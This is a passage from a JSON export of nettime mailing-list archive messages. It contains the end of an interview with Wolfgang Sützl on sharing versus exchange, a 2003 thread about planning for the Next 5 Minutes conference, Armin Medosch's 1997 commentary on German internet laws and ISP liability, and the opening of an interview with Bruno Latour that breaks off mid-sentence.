the\ngift-giving, while, as you have already indicated, sharing is something\nthat leaves the realm of economic relationships behind altogether. I\nthink this is where we should continue talking about the philosophical\nconcepts which you are exploring in order to develop the concept of\nsharing. And I\u2019m thinking of phenomenology, for example.\n\nWolfgang: Once you realize you cannot theorize sharing in terms of\nexchange at all, you face certain problems that are similar to\ntheorizing everyday experience. Sharing is indeed an everyday routine,\nas such it does not have its own truth, or at least it does not stand\nout as an object available to scientific investigation or to the\naesthetic privileging that happens in art. Duchamp\u2019s ready-mades were a\nresponse to this difficulty of the everyday. What would an artwork look\nlike that is not set apart from the profanity of everyday experience?\nHis answer was, perhaps like a urinal, perhaps like a bottle rack.\nPhrased in ontological terms, Heidegger undertook a similar enquiry in\nhis Being and Time (1927), where he sought to understand being through\neveryday Dasein, the simple fact of our being-there that is always\nalready assumed, whatever question we may ask.\n\nHe uses the term Mit-sein or being-with, to understand being as always\nalready shared being. According to him, there is no way to understand\nthe meaning of being other than as shared. As I find myself in the\nworld, I have already shared this world with others. Being cannot be\nseparated from sharing, and the others come into appearance as others\nbecause of this sharing. This is why sharing in the commons, as\ndescribed by Ostrom, defines a political subjectivity. To me, it also\noffers a point of departure for understanding why an economy of exchange\non the way to totalizing itself, as in the current advance of\nneoliberalism, has such difficulty with the notions of otherness or\ndifference. Exchange must, in order to function, render otherness or\ndifference meaningless \u2013 turn it into a \u201cfarce\u201d as \u017di\u017eek says. The only\nmeaning that it leaves for otherness is the unrestrained negativity of\nrandom violence, which is just another caricature of a quest for\nmeaning.  Cornelia: What is not nice about sharing?\n\nWolfgang: For one, once we understand sharing as a limit to economic\nexpansion, an anti-dote to the economic principle itself, it questions a\ndeeply held belief of Western culture. It represents an outside that can\nbe scary because it cannot be regulated by law \u2013 because the law is also\nan exchange operation. Pirates, who did not recognize the law of the\nsea, had a strong sharing culture, which came back to life in digital\npiracy. Also, at the moment of sharing, we cease to be as self-contained\nindividuals, and enter the sphere of intimacy. There is a vulnerability\nthat comes with sharing that is expressed in the problem of\n\u201coversharing\u201d on social media, where users offer intimate information to\nothers they do not really know. Because of this, sharing as a practice\nwas traditionally limited to smaller communities. And finally, we also\nshare things like the exhaust fumes and noise of our cars or the\ncrudeness of our advertising billboards. It\u2019s not always nice.\n\nCornelia: Now, both of these concepts, exchange and sharing, exist in\nparallel \u2013 offline as well as online. I would like to ask you to\ndescribe and unravel this coexistence with regards to digital networked\nmedia and also talk about the \u2013 maybe intentional \u2013 confusions that are\nemerging from this.\n\nWolfgang: Today sharing is often confused with exchange because of the\nway we use the word in online communication and the hype around the\nsharing economy. This confusion is an easy one to make because of the\nvery nature of sharing, but there is also an obfuscation that is part of\nthe business plan of the digital media industry that considers sharing\nas a profitable form of \u201ccustomer engagement.\u201d The confusion is easy\nbecause sharing is a communal phenomenon: it is because our being is\nalways already a being-with-one-another that we can share and experience\nmeaning. This is also why Jean-Luc Nancy can say \u201cmeaning is the sharing\nof being.\u201d But in corporate social media and the sharing economy,\nsubjectivities are formed through structured forms of communication that\nproviders prefer to call \u201csharing,\u201d benefitting from the anti-economic\npotential of the digital (its excess) and the connotations of niceness\nthat come with sharing. These subjectivities are shaped to match\nbusiness plans, they form around the users\u2019 status as customers, as\nsubjects of exchange. But meaning cannot be exchanged, only shared. This\nis why so much of social media communication is either commercial, or\ntrivial, as in the classic cases of cat videos. There is an erosion of\nmeaning through the dominance of exchange, and a lot of sharing of\nmeaningless content, because what matters to the provider is the profit\nthat comes from customer engagement, from making users do things that\naffirm their status as customers. But this is due only to the\ncommercialization of digital networks. It is not inherent to digital\ntechnology, as for instance the case of Wikipedia shows.\n\nCornelia: To conclude our little conversation, one could say that\n\u201csharing\u201d as an essential form of being with others has gained a new\ndimension through digital technology. At the same time this new form of\nsharing in the realm of digital files and knowledge is dependent on a\ntechnology which is totally embedded in the cycles of capitalist\nproduction, i.e. exchange. I think here is one crack in the concept.\nAnother friction I see in the fact that neoliberalism expands its logic\nof economisation into all possible domains of life and, through the\nsharing economy for example, has started to blur a clear distinction\nbetween sharing as a way of being or becoming subject and economic\nexchange. What is at risk here? What is it that drives your research?\n\n\n\nWolfgang: What drives me is the belief that with a better understanding\nof sharing we can gain more clarity about the limits of exchange. This\nis necessary, because the current neoliberal rationality sees a frontier\ninstead of limits. This frontier is a temporary boundary to be pushed\nforward, a site of emerging markets and venture capital. Helped by the\nrise of corporate digital media and the disappearance of a serious\nalternative to capitalism, this frontier has advanced into the political\nsphere, into subjectivity, and into rationality itself. Wendy Brown\noffers a compelling analysis of this process in her latest book, Undoing\nthe Demos (2015). What is at risk here is the possibility of forming\nmeaningful political communities in the most basic sense of the word,\nand along with it the possibility to communicate anything political.\nTherefore, an improved understanding of sharing may help formulate a\npolitical argument against neoliberalism, which is the only type of\nargument that can be expected to be effective. And I agree, for an\nargument to be communicated, communication channels are needed that will\nnot instantly turn the sharing of ideas into an economic transaction. We\ncan still learn from the tactical media movement in this regard, and\nperhaps with the dominance of corporate social media and their business\nstrategies, tactics is even more important than before. Digital media do\nstill offer a real, non-utopian possibility of sharing, and simply\nremembering that is a first step. The fact that criticism of the sharing\neconomy is becoming more widespread is also a positive sign. It opens\nsome space for a real discussion of sharing.\n \nCornelia Sollfrank is an artist and researcher living and working in\nBerlin. She is associate researcher at the University of Dundee (UK) and\nwas until recently guest researcher at Aarhus University (DK). The\ncombination of conceptual and performative approaches in her work result\nin the production of research-based practice and the writing of\npractical theory. Main fields of work are copyright and intellectual\nproperty, feminism/cyberfeminism, self-organisation and commons. Her\ncurrent project Giving What You Don\u2019t Have (GWYDH) explores artists\u2019\ncontributions to the production and maintenance of commons. Website:\nhttp://artwarez.org Wolfgang S\u00fctzl is a media theorist, philosopher, and\nlinguist. He is based at Ohio University\u2019s School of Media Arts &\nStudies (USA). He is a visiting faculty at Transart Institute (USA/DE),\nand at the MA program in Peace and Conflict Studies at the University of\nInnsbruck (A). His chief research interests concern media theory, media\nphenomenology, media aesthetics, mass communication theory, and the role\nof media in conflict. He is currently working on a book on the\nphenomenology of sharing, and a textbook on the evolution of media.\nWebsite: http://wolfgangsuetzl.net\n\nFirst published in APRJA \u2013 A peer-reviewed journal about _. Excessive\nResearch  (2016) http://www.aprja.net/?p=2883\n \n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                "date": "Wed, 23 Nov 2016 09:29:53 +0100",
                "to": "nettime-l {AT} kein.org",
                "message-id": "0a50c69105ed522875a7071a4a5af0a0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1611/msg00074.html",
                "list": "nettime_l",
                "author_name": "Cornelia Sollfrank",
                "subject": "<nettime> Interview with Wolfgang S\u00fctzl: Sharing \u2013"
            },
            {
                "id": "00004",
                "content": "i don't know if it is technically still time to propose at N5M conf.\n\nHowever, what do you think, if we proposed very simple things,\nlike :\n- scanning the girls\n5 minutes presentation  of \"our\" work (anybody who identify as woman),\nso we get to know each other,\n\n- pool party as was talked about in berlin ?\nso we plug with the whomever we feel possible connection with.\n\nvery simple, degres zero of intervention.\na+\nnathalie\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                "to": "ldboys@lists.ccc.de",
                "url": "https://nettime.org/Lists-Archives/oldboys-0306/msg00004.html",
                "list": "oldboys",
                "author_name": "nathalie",
                "subject": "[oldboys] Next 5 Minutes",
                "from": "nathalie <volt@altern.org>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "content-type": "text/plai",
                                "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                                "id": "00006",
                                "content": "dear boys - and girls,\n\nwhat is schedule from our side so far is a party with \nfemale musicians, performers and dj line up at melkweg: \"fem snd\"\n\nfurther more two meetings, one in france and one in berlin, \nresulted in a project called 'pool-prj'\nwhich is a basic concept for audio interventions at events,\nn5m would be first opportunity.\n\nas i am in the editorial group, i would be happy to see other suggestions from your side,\nalthough most of the program is set up already --\nbut good ideas are always welcome.\n\nas soon as there is a public draft of the programme i will post it.\n\nbest, c.\n\n\n\n>hi, but why scanning the girls? again?\n>feel like we never go beyond \"introduction' of 'our' work.\n>is this a form of congratulating ourselves how far\n>we have come to? or another form of seeking recognition\n>from the others?\n>\n>consider the theme of n5m for september--\n>\n>\" The program of Next 5 Minutes 4 is structured along four core\n>thematic threads, bringing together a host of projects and debates.\n>These four thematic threads are:\n>\"Deep Local\", which explores the ambiguities of connecting\n>essentially translocal media cultures with local contexts.\n>\"The Disappearing of the Public\" deals with the elusiveness of the\n>public that tactical media necessarily needs to interface with, and\n>considers new strategies for engaging with or redefining 'the public'.\n>\"The Tactics of Appropriation\" questions who is appropriating whom?\n>Corporate, state, or terrorist actors all seem to have become\n>effective media tacticians, is the battle for the screen therefore\n>lost?\n>\"The Tactical and the Technical\" finally questions the deeply\n>political nature of (media-)technology, and the role that the\n>development of new media tools plays in defining, enabling and\n>constraining its tactical use.'\n>\n>maybe can be more tactical in bringing in forces?\n>\n>best\n>sl\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>---------------------------------------------------------------------\n>To unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\n>For additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n--\n ____ ____ ____ ____ ____  ___  ___  ___\n||a |||r |||t |||w |||a |||r |||e |||z || .org\n||__|||__|||__|||__|||__|||__|||__|||__||\n|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|\n\n                      take it and run!\n\n\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                                "date": "Mon, 30 Jun 2003 22:55:12 +0200",
                                "to": "ldboys@lists.ccc.de",
                                "message-id": "l0313031abb2652e0e6a1@[10.0.1.2]",
                                "url": "https://nettime.org/Lists-Archives/oldboys-0306/msg00006.html",
                                "list": "oldboys",
                                "author_name": "Cornelia Sollfrank",
                                "subject": "Re: [oldboys] Next 5 Minutes"
                            },
                            {
                                "from": "nathalie <volt@altern.org>",
                                "content": ">\n>hi, but why scanning the girls? again?\n\nyes never ending\n\n>feel like we never go beyond \"introduction' of 'our' work.\nwhy should it be \"introduction\",\nit could be 5 minutes on a topic\n\n>is this a form of congratulating ourselves how far\n>we have come to? or another form of seeking recognition\n>from the others?\n\nneither it's basic found your way in the crowd\n\n>\n>consider the theme of n5m for september--\n>\n>\" The program of Next 5 Minutes 4 is structured along four core\n>thematic threads, bringing together a host of projects and debates.\n>These four thematic threads are:\n>\"Deep Local\", which explores the ambiguities of connecting\n>essentially translocal media cultures with local contexts.\n>\"The Disappearing of the Public\" deals with the elusiveness of the\n>public that tactical media necessarily needs to interface with, and\n>considers new strategies for engaging with or redefining 'the public'.\n>\"The Tactics of Appropriation\" questions who is appropriating whom?\n>Corporate, state, or terrorist actors all seem to have become\n>effective media tacticians, is the battle for the screen therefore\n>lost?\n>\"The Tactical and the Technical\" finally questions the deeply\n>political nature of (media-)technology, and the role that the\n>development of new media tools plays in defining, enabling and\n>constraining its tactical use.'\n>\n>maybe can be more tactical in bringing in forces?\n>\n>best\n>sl\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>---------------------------------------------------------------------\n>To unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\n>For additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                                "id": "00007",
                                "date": "Mon, 30 Jun 2003 23:54:05 +0200",
                                "to": "ldboys@lists.ccc.de",
                                "message-id": "a0521060abb26619d7d66@[212.198.117.88]",
                                "url": "https://nettime.org/Lists-Archives/oldboys-0306/msg00007.html",
                                "content-type": "text/plai",
                                "author_name": "nathalie",
                                "subject": "Re: [oldboys] Next 5 Minutes"
                            }
                        ],
                        "from": "shu lea cheang <shulea@earthlink.net>",
                        "content": ">i don't know if it is technically still time to propose at N5M conf.\n>\n>However, what do you think, if we proposed very simple things,\n>like :\n>- scanning the girls\n>5 minutes presentation  of \"our\" work (anybody who identify as woman),\n>so we get to know each other,\n>\n>- pool party as was talked about in berlin ?\n>so we plug with the whomever we feel possible connection with.\n>\n>very simple, degres zero of intervention.\n>a+\n>nathalie\n>\n>---------------------------------------------------------------------\n>To unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\n>For additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n\n\n\n\n\nhi, but why scanning the girls? again?\nfeel like we never go beyond \"introduction' of 'our' work.\nis this a form of congratulating ourselves how far\nwe have come to? or another form of seeking recognition\nfrom the others?\n\nconsider the theme of n5m for september--\n\n\" The program of Next 5 Minutes 4 is structured along four core\nthematic threads, bringing together a host of projects and debates.\nThese four thematic threads are:\n\"Deep Local\", which explores the ambiguities of connecting\nessentially translocal media cultures with local contexts.\n\"The Disappearing of the Public\" deals with the elusiveness of the\npublic that tactical media necessarily needs to interface with, and\nconsiders new strategies for engaging with or redefining 'the public'.\n\"The Tactics of Appropriation\" questions who is appropriating whom?\nCorporate, state, or terrorist actors all seem to have become\neffective media tacticians, is the battle for the screen therefore\nlost?\n\"The Tactical and the Technical\" finally questions the deeply\npolitical nature of (media-)technology, and the role that the\ndevelopment of new media tools plays in defining, enabling and\nconstraining its tactical use.'\n\nmaybe can be more tactical in bringing in forces?\n\nbest\nsl\n\n\n\n\n\n\n\n\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                        "id": "00005",
                        "date": "Mon, 30 Jun 2003 20:03:02 -0400",
                        "to": "ldboys@lists.ccc.de",
                        "message-id": "a05200f0bbb2666c3cb82@[195.167.110.36]",
                        "url": "https://nettime.org/Lists-Archives/oldboys-0306/msg00005.html",
                        "content-type": "text/plai",
                        "author_name": "shu lea cheang",
                        "subject": "Re: [oldboys] Next 5 Minutes"
                    }
                ],
                "message-id": "a05210604bb25bc6d8ff8@[212.198.117.54]",
                "date": "Mon, 30 Jun 2003 12:11:34 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00037",
                "content": "Interview with Armin Medosch (Telepolis) \n\nthe following text I wrote in response to questions of \nthe danish journalist erik kjaer larsen. I thought it \nmight be interesting for nettimers too. It is about \ninternet laws in germany.\n\nHallo Erik,\n\nfind here some URL\u00b4s and some commentaries to your \nquestions:\n\n\n> I gather from Telepolis informations that the laws \n> are generally very unpopular in Germany, at least with \n> the opposition. \n\n\nThat's not precisely true. The law is unpopular amongst \neconomists, researchers, users. But concerning \npolitical parties in parliament the split goes right \nthrough the parties themselves. The only party with a \nclear position are the Greens, they are against the \nlaw. Within the SPD there is a small group which is \nnet-wize and against the law. But the majority of the \nSPD Parliament members doesn\u00b4t understand anything and \njust wants to secure their influence on the regional \nlevel (many regions are spd-governed).\nAnd also the leading christ-democrats are split. There \nis a hardline law and order enforcement group around \nMinister Kanther, which tryed to bring in these sharp \nparagraphes about liability of isp`s. There is the \neconomy-friendly liberal group around Rexrodt, which \nwould rather have liked to have another law. Ruettgers, \nthe one who conceived the law, is somewhere in the \nmiddle. he doesn\u00b4t seem to have a real opinion of his \nown. \n\nYou can find out about diverse positions in a funny \nphoto story about the parliamentary discussion with \ncites of original statements.\n\nFotostory\nhttp://www.heise.de/tp/te/1230/fhome.htm\n\nBundestag beschlie\u00dft Multimediagesetz\nhttp://www.heise.de/tp/te/1220/fhome.htm\n\n\nKommentar Multimediagesetz\nhttp://www.heise.de/tp/te/1201/fhome.htm\n\nRechtsunsicherheit als Programm\nhttp://www.heise.de/tp/te/1117/fhome.htm\n\n> If you can find the time, I would also ask you to \n>specify the most obvious threats to freedom of speech, \n>coming from the new laws. Are they in reality similar \n>to CDA...\n\nNo, I would not say that. The CDA is a completely other \ncup of tea. \"Free speech\" was not in the centre of the \ngerman discussion. It was rather that the government \nwanted to hold ISP\u00b4s liable for illegal and harmful \ncontent on the net. The idea was/is, that if an ISP has \ngot notice of illegal content which he is providing \naccess to (he is not giving the information, just acces \nto it through the internet) then he should block access \n(block a certain newsgroup, a website). There is strong \nincidence that the Kanther-Hardliners purposefully \ncreated a test-case with the leftwing newspaper \n\"radikal\". This magazine is forbidden in germany since \nit was found guilty in several trials of supporting \nterrorist action in the eighties. For ten years they \ncould not produce an issue in germany any more. So \ntheir latest issue was put on the server xs4all in \nholland. Last September the german state prosecuter \nwrote a letter to all ISP\u00b4s that they should block \nacces to xs4all. Unfortunately for the state prosecutor \nit is not possible to ban a single website, instead the \nwhole server has to be blocked. But xs4all is very \npopular and soon there was a huge wave of protests. The \naccused webSite of radikal was mirrored on 60 -70  \nservers around the world. So just a few ISP\u00b4s followed \nthe wish of the prosecutor and tryed to ban, but many \ndidn\u00b4t. It is yet an open question if those who didn\u00b4t \nblock will be accused by the state prosecutor.    \n\nThen in January 97 the government did the next unwize \nstrike on the net. They accused Angela Marquardt, \nformer vize-director of the post-socialist party from \neast germany (follow up party of SED) that she \nsupported terrorism by displaying a link on here \nhomepage to the \"radikal\"- page. Actually the \nprosecutor sayed that she was \"providing access to \nterrorist material\" through this link. This lawsuit \nraised the question if users can be hold liable for \nlinks they supply on their private homepages. In June \nMarquardt was spoken free, but the argumentation of the \njudge was very formalistic and didn\u00b4t touch that basic \nquestion about users liability for links. \n\nSo you see, in germany the discussion  is rather not \nabout indecent speech, you can say \"fuck\" if you \nwant, but about political radicalism  of the extreme \nleft and the extreme right. As often the government \nchoses the left as open target because the right is \nmuch more dangerous and federal police is said to be in \nserious investigations about right wing activities but \ndoes not want anything to go out in public in a too \nearly state because that might warn the neonazis about \npolice inquiries.  \n\nMarquardt case see here\nhttp://www.heise.de/tp/te/1236/fhome.htm\n\nThis special concern about radicalism is a heritage of \ngermans special history - the third reich and the RAF \n(Read Army Fraction) terrorism in the seventies and \nearly eighties. Because of fascism in the german bill \nof rights the right of free speech is not given to \nneonazis. Any holocaust denials or activism of neonazis \nis strictly forbidden and not considered free speech. \nBecause of the RAF this was extended also to the \nradical-left. \n\nAnother area of specific concern is organized crime in \ngeneral and child pornography in particular. Thats why\nMinister for Inner Security affairs  Kanther wanted to \nforbid strong cryptography and wants to hold ISP\u00b4s \nliable for content. Law enformcement agencies of the \nstate should have access, to his opinion, to all \ncommunication channels which people might use. Thats \nwhy allready in 1996, when the telecommunications law \n(not to be mistaken as the new multimedia law) was \npassed, a paragraph was included, that the state should \nhave secret acces through special phone lines to all \ncustomer databanks of telecommunications providers \n(phone companies, so to say). Without the provider or \nthe customer even taking notice of it they can get \ntheir connection data. This is not the same as \nwiretapping. They are not listening automatically to \nphone conversations (this needs still a verdict of a \njudge). But they can easily find out, who talked to \nwhom at which time. They can find out who uses phone \nsex or other special services. Especially journalists \nare very suspicious about this paragraph because they \nfear that the anonymity of informants cannot be secured \nany longer. Also people involved in political affairs \ncan easily become blackmailed if they do phone sex ore \nother things which  seem to be socially not accepptable \nfor public persons. \n\n> Do you think the insell\u00f6sung could/would be adapted by other countries?\n\nI think that Germany is not heading for an \n\"inselloesung\" any longer. They obviously lost the \nbattle with xs4all and they lost the radical case. And \nmaybe they even got sick about being mentioned in one \nsequence with Singapore and China when talk is about \ninternet censorship.  \nSo Kanther drew back from his cryptography banning \nplans. Probably not because of protests of the left but \nbecause of industry protests. Quite a significant \neffort is done in germany in research about \ncryptography with major companies like Siemens and \nDaimler Benz involved. Cryptography is free now in \ngermany, at least for the next two years (try-out \nphase).\nAlso it seems that they don\u00b4t see the ISP\u00b4s liability \nfor content so narrow minded any more. Instead of state \naction they seem to favour now rating systems like \nPICS. \n\nThe Bonn conference and the Ministers declaration about \nthe internet published on 8th of July marks a turning \npoint in the position of the german government. Instead \nof an \"inselloesung\" they try now to find concensus \nabout how and to which extend the internet should be \nregulated on a European level. They probably found out \nthat one country alone has not even the technical \npossibility of gaining controll over the net. What \nshould they do, build a huge firewall around the german \nnet?\nThe tendency goes, as in economy, towards the building \nof huge power blocks - Europe, North America, the \nASEAN states. The Bonn declaration is an attempt to \nformulate a European position: Not the internet as a \n\"free trade zone\" as Clinton has proposed recently, \nbut as a mixture of regulation, self-organisation and \neconomical liberalism. \n\nBonn Declaration\nhttp://www.heise.de/tp/te/1244/fhome.htm\n\n \n> Was Rexrodt one of the laws protagonists?\n>  I may sound a bit paranoid, but it could look like the \n> Bonn declaration of last weekend is just a fancy \n> facade atop a hidden EU-internet-agenda?\n\nSo I wouldn\u00b4t say that this is paranoid. But also it is \nnot so \"hidden\". It is, as I said above, about forming \na European position within the triad of economical \nsuperpowers. There is a number of issues involved with \nthis and the driving force to act is economical growth \nand the creation of new jobs. So the Europeans disagree \nwith the USA in a number of issues. For example the \ndomain name question. The EU opposed the IHAC proposal \nfor new top level domain names. The Europeans are also \nno longer pleased with the fact that all \ntop-level-domain name root servers are located in the \nUS. \n\nThe Bonn Declaration reads like a sundays sermon to me. \nTo gain the foremost goal of economical growth and \nstaying at least in touch with the technological \ndevelopment they have, to my surprise, included a \nnumber of social issues. They say that the net should \nnot cause new exclusions, the gap between information \nrich and information poor should not become bigger. \nThey even talk about public access terminals in \nlibraries and that europes chance is content on the \nnet. Governments should improve possibilities for \ncitizens to get informed and to participate in \ndemocartic processes. They even declare \"good will\" to \nsupport development countries to get connected. \n\nSo has the wind changed? The turning down of the CDA by \nthe Supreme Court might be further incident. Maybe it \nalso influenced the Bonn declaration. But  I think we \nshould be careful with any prognosis at this state. \nJust some examples: \nThe EU is also in favour of \nextending copyright to databanks \"sui generis\", that \nmeans that any statistical data displayed on the net is \ncopyright protected. The WIPO conference in Geneva in \nDecember 96 turned this proposal down which could have \na very negative effect on educationel purposes because \nfinancially week educational organizations will not \nhave the money to pay for acces to data banks. Also the \nrating systems issue will become big in the EU in the \nnext months. Nobody knows yet where the legitimation \nfor rating authorities should come from. Companies and \nOrganizations rate on a very arbitraily basis. Also the \nEU seems to believe that the further building of the \ntechnical infrastructure for the net should be done \nmerely by market forces. So it is hard to believe that \nan information superhighway, which is entirely created \nand owned by companies will not lead to new exclusions \nor would out of humanitarian reasons give free acces \ntothe poor, the unemployed, the homeless people and the \npeople of the (non-geographically understood) third \nworld.  \n\nCDA\nhttp://www.heise.de/tp/te/1235/fhome.htm\n\n> Could you help me to specify the role of\n> Rexrodt/Bangemann in all this - I heard they stood\n> behind the Bonn conference, and apparently Bangemann\n> is also the architect of the INFO2000 scheme.> \n\nThere is not much to say about them. They are blunt \nneo-liberalists. Rexrodt, as his liberal-democrat \ncollegue in the Kohl-cabinet, Schmidt-Jortzig, Minister \nof Justice, have not got much to say in the government. \nThey might do some typical liberal statements in public \nbut the decisions are made elsewhere. Bangemann \nprobably wants to be seen as the grounding-father of \nthe european information-highway. But as a technocrat \nhe lacks any vision of cultural dimensions.\n\nGermany is very federalistic. So lots of the real \npower  is in the hands of regional leaders like \nStoiber, minister president of Bavaria, Schroeder, \nminister president of Lower Saxony and Rau/Clement, \nleaders of Northern Westfalia. These are the richest \nand most poulated states in Germany. There is the car \nindustry, the defense industry and the media power. \nThese regional \"barons\" often unite against their own \nparty leaders and the federal government. Especially \nStoiber (CSU, very right wing) and Schroeder (SPD, \nprobable \"Blair-like\" candidate for the next federal \nelections) are acting joined forces when it comes to a \nstrong DMark, a delay of EMU and a pro-industrialist \nposition. \nSo, and this is a remark going back to the Multimedia \nlaw, this law would be maybe even not so bad, if there \nwas not a second law. This second law, a kind of \ncontract between the federal states of germany, gives \nregional leaders control of the internet to some \nextend. The two laws try to create an artificial \nseparation between internet services adressed to closed \ncircles and other services adressed to \"the public\". \nThe public part should be treated in a similar way as \nradio and televison with all laws counting for press, \nradio and tv being extended to the internet. But where \nis the separation? Can a real audio server be compared \nto a radio station? Is a mailinglist adressed to the \nbroader public, if anybody can subscribe? \n\nSo both laws went through parliaments now and both come \ninto force on 1st of August. But in the parliamentary \ndiscussion it became obvious, that even the lawmakers \nare not very pleased with the results. The split \nbetween regionalists and internationalists goes right \nthrough the parties, the government as well as the \nopposition. Those MP\u00b4s who have got some idea of the \nworking of the net know that the split between closed \nand public services is artificial and will cause many \nunnecessary lawsuits. Companies are threatening that \nthey will operate german internet business from abroad \n(IBM, CompuServe) and will only come back, when the \n\"legal dust has settled\" (Hermann Neuss, IBM). So when \npassing the laws  an addendum was creqated that the law \nmaybe should/could be soon revised.\n\n> I went to a INFO2000 congress in Denmark recently.\n> It was disastrous - EU talks about content, but no \n> money is apparently given to those who actually \n> develop content. Only for as far as it is commercial.\n\nThats right, thats one of the problems. It is easy to \nwrite down a sermon of twelfe pages and call it \n\"Ministers declaration\". At the moment the EU not even \nhas a department for something as digital culture or \nmedia culture. There is the arts funding programme \n\"Kaleidoscope\" with a very limited budget and there \nare all these programs of DG XIII. There is a lot of \nmoney at DG XIII, but small cultural content providers \nwill find it hard to get it. The big consortiums of \nresearch departments of multinationals like Siemens or \nPhilips, together with Universities are in the race \nthere. So how can three small registered societies \nfrom, lets say Hungary, Danmark and Netherlands can \ncompete with these giants in teh race for funds. \nTelepolis also tryed to get in touch for information \nabout the multilingual program. We would really love to \nhave the possibility that articles that we write in \ngerman can be translated into english. We are only able \nto translate into the other direction ourselves. But we \ndidn\u00b4t even get a letter back from the EU. \nSo I would be in favour of a europeanwide campaign to \nsupport small content providers throughout Europe (deep \nEurope, as syndicalists would say) and to support the \nfree publication of publicly interesting material \nthrough EU money.\n\n I hope all this could be of any help for \nyou. \nyours\n armin\n\n> \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 11 Jul 1997 18:42:07 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707111642.SAA04500 {AT} xs1.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00037.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with armin medosch"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00006",
                "content": "\n\"There is no information, only transformation\"\nAn Interview with Bruno Latour\nBy Geert Lovink and Pit Schultz\n\nHybrid Workspace, Documenta X, Kassel\nAugust 16, 1997\n\nBruno Latour (Paris) is a philosopher, specialized in the antropology of\nscience and technology. He is a professor at the Centre of the Sociology\nof Innovation at the l'Ecole Nationale Superieure des Mines de Paris.\nHe is called \"one of today's most acute, if idiosyncratic, thinkers about\nscience and society.\" Amongst his books, published by Harvard University\nPress, one can find \"We have never been modern\", \"Aramis, or the love of\ntechnology\" and \"The Pasteurization of France\". His Documenta lecture can\nbe seen or heard at:\nhttp://www.mediaweb-tv.de/dx/0816/gaeste_frame.html\n\nGeert Lovink: At the moment there are two concepts of the computer: an\nabstract, computational machine, based on mathematics and language.\nOpposed to this we have the future computer as an image processing device,\nan interactive television set. How do look at this distinction between the\nlanguage based machine versus the image based medium?\n\nBruno Latour: I do not believe that computers are abstract. There is a \nvery interesting  article, 'On the Origin of Objects' by a  \ncomputer philosopher called Brian Cantwell-Smith, in a book about \ndigital print.\nHe made the comment that the fact that there is (either) 0 and (or) 1 \nhas absolutely no connection with the abstractness. It is actually \nvery concrete, never 0 and 1 (at the same time).  The distinction you \nsuggested is slightly misleading. The origin of this (distinction) is \nlying in the notion of information. There is only transformation.\nInformation as something which will be carried through space and time,\nwithout  deformation, is a complete myth. People who deal with the\ntechnology will actually use the practical notion of transformation. From\nthe same bytes, in terms of 'abstract encoding', the output you get is\nentirely different, depending on  the medium  you use. Down with\ninformation. It is a bad view on science and a bad rendering of\ncontemporary critique of images, all this fight against the\nnaturalization.\n\nGL: Still are the two views of the computer: either it is a machine which\nis still owned by the scientists, or it is going to be an image processor,\nwhich will soon enter popular culture.\n\nBL: I am not sure if I agree with the terms of the divide. To say that the\ncomputer is a scientific, abstract machine is largely misleading. There is\na book called 'The Soul of the New Machine'. That is the right expression.\nYou can find that in the work of Brian Smith on the embodiment of the\ncomputer. Afterall it is made of sillicon. It has its own embodiment on\nthe level of digits and bytes. The computer is not a reservoir of\nabstraction, scientificity and technicity. Science and technology for me\ndoes not mean abstract. It means highly socialized, extremely embodied and\nlocalized. There might be badly designed computers, or interfaces \nthat are not ergonomic. But the idea of an abstract computer that, so \nto say, falls in a humane dimension which will be threatened by this \neruption is absurd. Computer as a foreign body, a meteorite. Even \nsince Pascals first calculating machine, the socializing has been \ngoing on.\nMichel Serres made the argument that all what we are talking about \nconcerning computer is Leibniz' dream, finally materialized. The idea \nof a universal language that will code and encode everything, the idea \nof free accessibility of gigantic libraries is Leibniz' idea. So \nfinally are doing what Leibniz has proposed. But it became a machine\nthat never works exactly the way we want and was dreamt of in \n17th century. It is the history of what I call the history of the \nimmutable mobile. The notion of the true contradictory function of \nimmutability and maximum mobility. It is linked of course to the \nhistory of the West, to maximize these two contradictorary functions. \nElisabeth Eisenstein makes this same point in her history of the \nprinting press. Digitality is the extension, one step further of \nmobile types. It is not a 